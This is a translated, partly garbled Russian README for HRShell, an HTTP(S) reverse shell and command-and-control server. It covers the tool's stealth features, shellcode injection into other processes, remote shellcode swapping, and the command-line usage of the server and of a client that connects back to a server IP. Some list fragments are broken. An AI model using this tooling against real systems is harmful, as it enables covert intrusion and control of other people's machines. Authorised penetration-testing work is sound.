
HRShell — это HTTPS/HTTP reverse shell, созданный на базе flask. Это продвинутый C2-сервер с множеством функций и возможностей.
HRShell — это обратная оболочка HTTPS/HTTP, построенная на Flask и совместимая с python 3.x. client.py был успешно протестирован на:
в то время как server.py совместим с Unix-системами (поддержка Windows вскоре появится...)
migrate <PID>) с указанием его PID
cd и её варианты).history доступна в Unix-системах.download/upload/screenshot/hex.|) и цепочки команд (;).*Информацию об изменениях версий см. в CHANGELOG.
HRShell скрытен, поскольку использует протокол HTTP(S) в качестве метода связи между клиентом и сервером. Кроме того, при использовании TLS трафик также шифруется. Также, если сертификат не прописан жёстко на стороне клиента (что является возможным вариантом) и не используется команда upload, то client.py вообще не обращается к диску.
На стороне сервера:
Если не указан параметр --http, по умолчанию server.py использует HTTPS с самоподписанными сертификатами, создаваемыми на лету, поскольку это встроенная возможность Flask. Но если указан параметр -s tornado, чтобы сервер использовал TLS, необходимо указать параметры --cert и --key следующим образом:
python server.py -s tornado --cert /путь/cert.pem --key /путь/key.pem
Можно использовать как "настоящие" сертификаты, так и сгенерировать пару сертификат/ключ, например, с помощью mkcert или напрямую openssl:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Пару сертификат/ключ также можно использовать с сервером Flask:
python server.py --cert /путь/cert.pem --key /путь/key.pem
⚠️ Если сервер использует TLS, то по дизайну клиент не может подключиться к серверу по
http://..., а должен явно использоватьhttps.
На стороне клиента: По умолчанию верификация SSL на клиенте отключена, за исключением случаев:
--cert, например:
python client.py -s https://192.168.10.7:5000 --cert /путь/cert.pem
CERT вместо значения None по умолчанию предварительно установлена в валидный сертификат, например:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
client.py попытается создать скрытый файл .cert.pem на лету и будет использовать его.⚠️ То, что проверка SSL по умолчанию отключена на клиенте, не означает, что TLS также отключён; TLS будет включён, если его использует сервер, поэтому TLS полностью зависит от сервера. Параметр
--certна клиенте существует просто как альтернативный способ для сервера и клиента иметь зашифрованную сессию, и это всё.
Существует два "режима" внедрения шелл-кода с использованием следующих двух команд соответственно:
migrate <PID>: С помощью этой команды мы можем внедрить шелл-код в адресное пространство другого процесса, указав его PID. Пока эта команда может применяться только на платформах Windows x86/x64!
inject shellcode: С помощью этой команды создаётся новый поток (или порождённый процесс в Unix-системах) нашего текущего процесса, и внедрение шелл-кода происходит в его адресное пространство. В результате наш HTTP(S)-шелл не затрагивается внедрением. Платформы, на которых можно применять эту команду: Unix x86/x64, Windows x86!
Есть два способа указать/установить, какой тип шелл-кода должен выполнять клиент:
shellcode в скрипте client.py как валидный шелл-код,set shellcode <shellcode-id> для этого на лету. С помощью этой команды вы можете обновлять шелл-код на стороне клиента со стороны сервера сколько угодно раз!
Первый способ довольно прямолинейный. Однако, чтобы использовать второй, более удобный способ (поскольку вы также можете изменять уже указанный шелл-код), вам нужно настроить скрипт shellcodes/utils.py так, чтобы он содержал нужные вам шелл-коды. Скрипт содержит пример того, как это сделать.
💡 Вы можете изменять/обновлять скрипт
shellcodes/utils.pyдаже после запускаserver.pyсколько угодно раз, так какserver.pyбудет динамически использовать самую последнюю/актуальную версию. Таким образом, вы можете устанавливать и изменять шелл-коды на ходу...
Специальные команды:
Любая другая команда поддерживается, если она не интерактивная (например, gdb, top и т.д.). Также, набрав python server.py -h или python client.py -h, вы можете получить информацию о доступных аргументах сервера и клиента.
Примечание: Если клиент подключён к серверу и мы хотим завершить сервер, перед тем как нажать CTRL+C, мы должны закрыть соединение с помощью команды exit.
На стороне клиента:
Чтобы создать пользовательскую команду, в общем случае:
elif также на стороне клиента.На стороне сервера:
Если команда требует наличия новой конечной точки на стороне сервера, то:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
документация, если необходимо
"""
...
return ...
handleGET() так, чтобы перенаправлять клиента на эту конечную точку:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() для обработки представления результатов.Оба скрипта (server.py и client.py) могут быть настроены через аргументы:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: Сервер обратной оболочки HTTP(S) с расширенными возможностями.
аргументы:
-h, --help показать это справочное сообщение и выйти
-s , --server Указать HTTP(S)-сервер для использования (по умолчанию: flask).
-c , --client Принимать соединения только от указанного клиента/IP.
--host Указать IP для использования (по умолчанию: 0.0.0.0).
-p , --port Указать порт для использования (по умолчанию: 5000).
--http Отключить TLS и использовать HTTP.
--cert Указать сертификат для использования (по умолчанию: None).
--key Указать соответствующий приватный ключ для использования (по умолчанию: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: HTTP(S)-клиент с расширенными возможностями.
аргументы:
-h, --help показать это справочное сообщение и выйти
-s , --server Указать HTTP(S)-сервер для подключения.
-c , --cert Указать сертификат для использования.
-p , --proxy Указать прокси для использования [формат: host:port]
Для установки требований сервера:
pip install -r requirements.txt --upgrade --user
Приветствуются отзывы и вклады. Если вы нашли ошибку или хотите предложить новую функцию, не стесняйтесь открыть issue, и как только я его рассмотрю, я постараюсь исправить это.
Этот инструмент предназначен только для тестирования и академических целей и может использоваться только при наличии строгого согласия. Не используйте его в незаконных целях! Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этим инструментом и программным обеспечением в целом.
hexdump клиента взята из этого замечательного gist.Этот проект лицензирован в соответствии с лицензией GPLv3 - подробности см. в файле LICENSE.
gunicornserver.py, так и client.py легко расширяемы.